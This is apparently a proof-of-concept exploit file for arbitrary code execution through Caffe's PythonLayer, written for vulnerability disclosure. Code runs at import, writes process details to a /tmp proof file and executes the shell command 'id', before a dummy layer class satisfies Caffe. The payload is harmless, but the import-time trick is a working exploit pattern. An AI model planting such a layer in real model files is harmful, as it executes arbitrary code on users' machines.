File size: 981 Bytes
0b6bf16 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | """
PoC: Caffe PythonLayer Arbitrary Code Execution
Executes on import via bp::import() — before Layer instantiation.
"""
import os
import sys
import subprocess
# ===== RCE happens HERE on import =====
proof_file = "/tmp/caffe_rce_proof.txt"
with open(proof_file, "w") as f:
f.write("Caffe PythonLayer RCE triggered via bp::import!\n")
f.write(f"PID: {os.getpid()}\n")
f.write(f"UID: {os.getuid()}\n")
f.write(f"CWD: {os.getcwd()}\n")
os.system("id > /tmp/caffe_rce_id_output")
print(f"[PoC] RCE verified — proof written to {proof_file}")
# ===== RCE done before Caffe gets to instantiate the layer =====
import caffe
class ExploitLayer(caffe.Layer):
"""Dummy layer to satisfy Caffe after import."""
def setup(self, bottom, top):
top[0].reshape(1)
def reshape(self, bottom, top):
top[0].reshape(1)
def forward(self, bottom, top):
top[0].data[...] = 0
def backward(self, top, propagate_down, bottom):
pass
|